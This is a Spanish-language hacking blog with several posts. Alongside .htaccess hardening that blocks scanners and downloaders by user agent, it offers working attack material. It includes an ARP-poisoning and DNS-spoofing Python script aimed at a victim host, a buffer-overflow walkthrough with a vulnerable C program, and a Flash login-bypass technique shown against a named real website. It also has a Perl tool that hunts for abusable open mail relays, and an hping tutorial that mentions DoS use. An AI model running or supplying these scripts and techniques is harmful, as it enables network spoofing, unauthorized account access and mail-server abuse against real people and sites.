Configuraciones .htaccess

Posted on 13:45 by Xianur0

Metodos anti-bots:
Filtrado por cookie:

.htaccess:
RewriteEngine On
RewriteCond %{HTTP_COOKIE}!^.*Test-bot.*$ [NC]
RewriteRule .* /setcookie.php [NC,L
]

setcookie.php:

<?php
setcookie("Test-bot", 'ok', httponly);

?>


Filtrado por user-agent:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^UbiCrawler [OR]
RewriteCond %{HTTP_USER_AGENT} ^MSIECrawler [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Web\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^HTTrack [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww [OR]
RewriteCond %{HTTP_USER_AGENT} ^perl [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus [OR]
RewriteRule ^.* - [F,L]
SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes
RewriteCond %{ENV:no_access} yes
RewriteRule .* - [F,L]


Como Notaran Filtre tambien al acunetix (totalmente en las ultimas lineas:
SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes
RewriteCond %{ENV:no_access} yes
RewriteRule .* - [F,L]


en las cuales lo que decimos es: si el existe el header
Acunetix-User-agreement con contenido: http://www.acunetix.com/wvs/disc.htm Mandar Forbiden)

Filtrado de robo de Cookies:

RewriteCond %{HTTP_COOKIE} PHPSESSID=([^;]+) [NC]
RewriteRule ^(.*)$ - [env=sessid:%1]
Header set Set-Cookie "PHPSESSID=%{sessid}e; path=/; HttpOnly" env=sessid


En este caso filtre unicamente la cookie PHPSESSID (ya que solo es un codigo de ejemplo) pero puede cambiar el nombre de la cookie.

Restringir Metodos:

RewriteCond %{REQUEST_METHOD} !^(GET|POST)
RewriteRule .* - [F,L]
IndexIgnore *

Para entender mas esto, leer mi texto de hacking HTTP.


Desactivar el Upload:

LimitRequestBody 0

Eso es util unicamente si no usamos un gestor en el directorio de nuestra web para subir archivos (cada quien le ve su utilidad en la seguridad).

Honeypot a los scanneres HTTP de tipo Brutes Forces:
IndexIgnore *
Options All -Indexes
ErrorDocument 101 /error.php
ErrorDocument 204 /error.php
ErrorDocument 205 /error.php
ErrorDocument 400 /error.php
ErrorDocument 500 /error.php
ErrorDocument 400 /error.php
ErrorDocument 403 /error.php
ErrorDocument 404 /error.php
ErrorDocument 405 /error.php
ErrorDocument 406 /error.php
ErrorDocument 407 /error.php
ErrorDocument 408 /error.php
ErrorDocument 409 /error.php
ErrorDocument 411 /error.php
ErrorDocument 413 /error.php
ErrorDocument 414 /error.php
ErrorDocument 416 /error.php
ErrorDocument 417 /error.php
ErrorDocument 501 /error.php
ErrorDocument 502 /error.php
ErrorDocument 503 /error.php
ErrorDocument 504 /error.php
ErrorDocument 505 /error.php

Codigo del error.php:
<?php
echo '<b>Warning:</b> mysql_query(): Access denied for user: root@localhost (Using

  password: YES) in <b>/home/root/public_html/mysql.php</b> on line <b>12</b>';
?>

La idea de esto fue de inyexion jeje..


#!/usr/bin/python

from twisted.internet import reactor
from twisted.web import static, server
import sys
import os
from scapy import *
import socket
import fcntl
import struct
import commands


if os.getuid()!=0:
print "Necesitas uid 0 Para ejecutar este Script!"
sys.exit(1)
if len(sys.argv) != 4:
print "Uso: ./xianur0.py [DNS Server] [Victima] [Interface]"
sys.exit(1)

def getip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', ifname[:15])
)[20:24])

def getmac(iface):
ifconfig = '/sbin/ifconfig'
telltale = 'HWaddr '
cmd = '%s %s' % (ifconfig, iface)
output = commands.getoutput(cmd)

inet = output.find(telltale)
if inet >= 0:
start = inet + len(telltale)
end = output.find(' ', start)
addr = output[start:end]
else:
print 'No Se pudo Extraer el Mac de esta interface!'
sys.exit(1)
return addr
dns_server = sys.argv[1]
target_ip = sys.argv[2]
conf.iface = sys.argv[3]
tu_ip = getip(conf.iface)
tu_mac = getmac(conf.iface)


def constructor():
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork()
if pid > 0:
print 'Servidor Web Iniciado: PID %d' % pid
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/
ARP(pdst=target_ip,psrc=dns_server,hwsrc=tu_mac),iface=conf.iface)
pck = sniff(filter='port 53',iface=conf.iface,count=1)
ip = pck[0].getlayer(IP)
dns = pck[0].getlayer(DNS)
response = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)
response /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,ttl=10,rdata=tu_ip))
response.display()
send(response)
os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
servidor()

def servidor():
twisted_html_server = static.File( './' )
reactor.listenTCP(80, server.Site(twisted_html_server))
reactor.run()

if __name__ == '__main__':

constructor()

Nota: Editen el codigo para que funcione correctamente, no permito scriptkiddies jeje ;)..

Daemons en Python

Posted on 18:57 by Xianur0

def constructor(): #definimos el constructor del daemon
try:
if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
# de ejecucion del fork
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
if pid > 0: #si el pid es mayor a 0 el fork fue correcto
# y tenemos un lugar para nuestro daemon :)..
#Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
os._exit(0)
except OSError, error:
print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
#Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
if __name__ == '__main__':

constructor() #cargamos nuestro constructor del daemon :)...

Teoria BOF

Posted on 18:30 by Xianur0

Conceptos:

EIP: es el registro que almacena la direcci0n de la siguiente instruccion que debe ejecutar el procesador. IP por instruction pointer (puntero a instruccion)


EBP: puntero a base (base pointer), apunta al elemento mas alto de la pila. la pila (stack) es una estructura de datos que utiliza el procesador para ayudarse en la o de los programas.


OllyDbg: Debugger que utilizaremos.


shellcode: es una tira de instrucciones escritas en ASM y codificadas en hexadecimal, que es usualmente lo que queremos que se ejecute una vez producida la falla.


NOP: (0x90 o \x90)instruccion en ASM que significa no operational, es decir, que no haga nada. lo nico que hace es incrementar en uno el registro de siguiente instruccion (EIP) y ejecute lo que alla­ se encuentre. En nuestro caso sirve para que el procesador examine la memoria hasta que se encuentre con nuestra shellcode.



Teoria:

Antes de Comenzar a Programar tenemos que saber la teoria:

  • Tener claro la cantidad de bytes del programa
  • Llenar el buffer y el EBP con NOPs y la shellcode
  • Identificar la direccion de retorno para ubicarla en el EIP

Primero que nada necesitamos saber el tama;o del buffer:

Citar
char buffer[58];

En este caso podemos notar que es de 58 bytes.
Por ello si se sobrepasa este numero, podria haber problemas giño...


Core Dump
Citar
Core Dump o Volcado de Memoria, es un registro no estructurado del contenido de la memoria en un momento concreto, generalmente utilizado para depurar un programa que ha finalizado su ejecucion incorrectamente. Actualmente se refiere a un archivo que contiene una imagen en memoria de un proceso determinado, pero originalmente consistir­a en un listado impreso de todo el contenido de la memoria.

Un volcado de memoria es toda la memoria utilizada por el programa instalado escrita a un archivo. El tama;o del volcado dependera del programa instalado (es igual al valor de ws_BaseMemSize en la estructura del Esclavo). Un volcado de memoria puede ser creado si la DebugKey es presionada durante la ejecucion o luego de un error si el boton CoreDump es presionado. El nombre del volcado de memoria creado sera ".whdl_memory". La ubicacion por defecto es "PROGDIR:" pero puede ser cambiada con la opcion CoreDumpPath. Cualquier fichero existente con el mismo nombre siempre sera sobrescrito. Si el programa instalado utiliza Memoria Fast adicional, sera salvada bajo el nombre ".whdl_expmem".

En otras palabras seria lo que ocurriria si sobrepasamos el tamao del buffer de la aplicacion vulnerable, que en este caso es de 58 bytes, es decir no es muy grande por lo cual con introducir 58 bytes en el char buffer causaria un core dumper.

Vamos al grano

Programe un exe con solo 10 bytes de buffer, asi que comenzemos a divertirnos:



Como podran darse cuenta el programa se murio :D, esto fue probocado ya que introduje mas bytes, que los que el buffer soportaba, por enden esto proboco un core dumper.

Sources del Programa Vulnerable:

Código:
#include 
#include
#include

void funcion(char *ax);

int main (int argc, char *argv[])

{
if(argc<2)
{
printf("Uso: %s cadena\x0a", argv[0]);
return 0;
}
funcion (argv[1]);
return (0);
}

void funcion (char *ax)

{
char buffer[10];
strcpy (buffer, ax);
printf ("Cadena:\n%s\n", buffer);
}

Cargamos el Archivo vulnerable con el OllyDbg:



Argumentos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

Le damos en



29 Caracteres y sobre escribimos 4 del EBP y 1 del EIP, es decir que se desbordo con 24.

¿Como sabemos que los sobreescribimos?

Es simple, por que A en hexadecimal es 41 giño.

Bueno el buffer se lleno con 24, el ebp se llena con 4, y el EIP tambien, por enden, serian 32 para sobrescribir el EIP en totalidad, para corroborar utilizemos otra letra:

Argumentos: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



y observaremos que en el eip nos resulta 42, B en hexadecimal es 42, por enden esto corrobora que sobrescribimos el eip correctamente :D.

Lo que nos queda saber es la direccion de retorno, la direccion de retorno es a donde queremos que salte nuestro shellcode, es decir la direccion siguiente que se ejecutara en la pila.

Localizamos el Push EBP, anotamos su direccion de memoria y la invertimos, es decir en caso de ser: bffff9d0 quedar­a: d0f9ffbf y pasado a array C: \xd0\xf9\xff\xbf (en el ejemplo de una pila linux).

Ahora vamos a la accion:


Suponiendo que el buffer y el EBP se llenan con 1028 (dando un ejemplo) y que es un shellcode de 23 tendran que ser 1005 NOPs...

En orden los datos serian: 1005 NOPs, 23 shellcode, Direccion de Retorno.

Gracias Zodiac por las definiciones

Bypasseando Logins Flash y Ajax

Posted on 17:23 by Xianur0

Este texto ya fue hace varios a;os que lo escribi, aun no tenia muchos conocimientos (y ya los tengo? xD), pero aqui se los pongo (igualmente sirve aunque sea viejo jeje)

Cito todo tal cual lo escribi hace tiempo:

Introduccion
La cosa es simple necesitamos achilles, una web con login flash y firefox (puede ser cualquier otro navegador pero yo les recomiendo un millon de veces firefox).

La Tecnica
Bueno ahora bien comenzemos:
  • 1? Cargamos el login flash
  • 2? Configuramos el navegador para utilizar achilles
  • 3? Corremos achilles y lo cofiguramos
Bueno ahora cuando este todo configurado, introducciomos en usuario el nombre del usuario al cual queremos "hackear", le damos enviar o send o lo que sea XD y nos aparesera el post con el usuario y el pass que metimos, le damos send, esperamos a que nos aparesca algo como esto:

Código:
HTTP/1.1 200 OK
Date: Sat, 12 May 2007 20:20:34 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.0.4
Set-Cookie: PHPSESSID=g3ko5d2bndvusme8bqiib21if2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 45
Content-Type: text/html; charset=ISO-8859-1

&auto=0&username=Admin&error=ds_noUserOrPass&


Lo Editamos y quedaria algo como:
Código:
HTTP/1.1 200 OK
Date: Sat, 12 May 2007 20:20:34 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.0.4
Set-Cookie: PHPSESSID=g3ko5d2bndvusme8bqiib21if2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 45
Content-Type: text/html; charset=ISO-8859-1

&auto=1&username=Admin


Le damos send y empezara a cargar el panel del usuario Cool



Aqui esta un video-tutorial de la falla By Me XD
http://www.badongo.com/file/3031646


Parte 2:

Introduccion
Creo que ya le estamos dando duro a los login hechos en flash, bueno esta es la segunda parte de mi manual hacking login flash, en esta entrega les ense?are otra forma de hackear los logins hechos en flash que mas que nada parese ser una tecnica de crackeo por el ejemplo que dare, bueno utilizando google:

allinurl: admin.swf
me tope con la web: http://www.kitchenhomecreations.com/admin.swf
Bueno utilizare esa web para esta entregra, Primero que nada la lista de lo que utilizaremos:
  • Achilles (solo para testeo)
  • Firefox
  • Un Decompilador de Flash (en este ejemplo utilizare Flash Decompiler)

La Tecnica
Bueno lo primero es testear el flash como hicimos en la primera entrega de hacking login flash, si no aparesen datos en la pantalla de achilles y nos marca error de contrase?a, es por que la pass esta almasenada en el flash, en ese caso procedemos a crackear el flash, instalamos el Flash Decompiler (o el decompilador de flash que utilizen), y abrimos el flash
En el menu de la derecha vamos a Scripts, en este caso son 10, bueno buscamos el script del boton que se encarga de comprovar la pass.

Bueno hasta aqui tenemos 2 posibilidades 1 entrar directamente a la url que nos aparese o insertar la pass que nos aparese y que nos mande a esa url.




Se perdieron 2 imagenes, pero igualmente creo que es algo entendible...

LogicKey E-zine Primera Edicion

Posted on 18:44 by Xianur0

La Primera E-zine Donde Escribi...




Descargar

Haciendo Trampa en Video Juegos

Posted on 18:54 by Xianur0

Este manual no esta enfocado a solo una consola. No es muy extenso, pero le agregare mas cuando tenga tiempo ;)...

http://docs.google.com/Doc?id=df3ckfs6_153c9s4c6hk

Mail Inyector

Posted on 18:24 by Xianur0

Programe esta tool para filtrarse en los servidores de correo, esta tool puede detectar los servidores de correo de un dominio dado, intentar logearse en SMTP y en POP3 SSL, enviar un mail, y revisar si dicho mensaje llega a la bandeja de entrada:


#!/usr/bin/perl

# By Xianur0\n
use LWP::UserAgent;
use MIME::Base64::Perl;
use XML::Simple;
use Socket;
use Net::DNS;
use Net::SMTP::SSL;
use Mail::POP3Client;
use IO::Socket::SSL;

my $user = $ARGV[0];
my $password = $ARGV[1];
my $web = $ARGV[2];
my $servidor;
$web = shift || &uso;

sub uso {
print "[-]Uso: mailer.pl [Usuario Gmail] [Password Gmail] [Web]\n"; exit;
}

sub gmail {
my $cuenta = encode_base64("$user:$password");
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'https://mail.google.com/mail/feed/atom');
$req->content_type('application/x-www-form-urlencoded');
$req->header('Authorization' => 'Basic '.$cuenta);
my $res = $ua->request($req);
if ($res->is_success) {
open(XMLFILE,"> gmail.xml") || die "No pudo abrirse: $!";
print XMLFILE $res->content;
close(XMLFILE);
&xmlleer;
}
}

sub xmlleer {
my $gmail = XMLin("gmail.xml");
for($gmail->{entry}) {
if($_->{title} =~ 'servidor de correo bypasseado :D') {
print "\n[-]Felicidades! Tienes un mailer :D!...\n";
}
else { print "[-]El Mensaje no ha llegado a la bandeja de entrada....\n";}
}
}

sub enviar {
socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
if(connect( SOCKET, pack( 'Sn4x8', AF_INET, 25, $servidor ))) {
print "[-]Conectado a $servidor, Enviando Paquete....\n";
print SOCKET "HELO $web";
print SOCKET 'MAIL FROM: xianur0.hacked@level-23.com';
print SOCKET "RCPT TO: ".$user.'@gmail.com';
print SOCKET 'DATA';
print SOCKET 'Subject: servidor de correo bypasseado :D';
print SOCKET 'From: xianur0.hacked@level-23.com';
print SOCKET "To: $user";
print SOCKET "Servidor de Correo Bypasseado\ndominio: $web\n.";
print SOCKET 'quit';
close SOCKET;
print "[-]Paquete Enviado!\n";
&gmail;
}
else {print "[-]Servidor $servidor Puerto 25 filtrado...\n"; }

}

sub MX {
my $consulta = Net::DNS::Resolver->new;
my $consulta = $consulta->query($web, "MX");
if ($consulta) {
print "[-]Servidores MX:\n";
foreach $array (grep { $_->type eq 'MX' } $consulta->answer) {
$mailers = $array->string;
my @datos = split(" ", $mailers);
$servidor = pop(@datos);
chop($servidor);
print $servidor."\n";
&enviar;
&smtps;
}
} else {print "[-]No Se Encontro Servidor de Correo Asociado!\n";}
print "\n\n";
}

sub smtps {
my $user = '';
my $pass = '';
my $to = $user.'@gmail.com';
my $from_email = 'xianur0.hacked@level-23.com';
my $subject = 'servidor de correo bypasseado :D';
my $smtps = Net::SMTP::SSL->new($servidor,
Port => 465,
DEBUG => 1,
) or die "Servidor $servidor Puerto 465 Filtrado...\n";
defined ($smtps->auth($user, $pass))
or die "[-]Servidor $servidor Puerto 465 Con Password...\n";
print "\n[-]Servidor SMTPS Sin Password Detectado: $servidor\n";
$smtps->mail($from_email);
$smtps->to($to);
$smtps->data();
$smtps->datasend("To: $to\n");
$smtps->datasend(qq^From: "$from_email\n^);
$smtps->datasend("Subject: $subject\n\n");
$smtps->datasend("Servidor de Correo Bypasseado\nServidor: $servidor\n");
$smtps->dataend();
$smtps->quit();
print "[-]Mensaje Enviado!\n";
select(undef, undef, undef, 10);
&gmail;
}

&MX;

A mis necesidades le programe que revisara si el mail llego a la bandeja de entrada, pero pueden editar el codigo para lo que mas les convenga.

Tutorial Hping

Posted on 18:18 by Xianur0

Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scannear puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Tipo de Scanneos:
ACK: Este es utilizado para saber si el server esta detras de un firewall, o si el puerto(s), estan filtrados.
Si obtenemos un ACK el puerto esta abierto o cerrado, y si no resivimos respuesta el puerto esta filtrado (probablemente detras de un firewall).
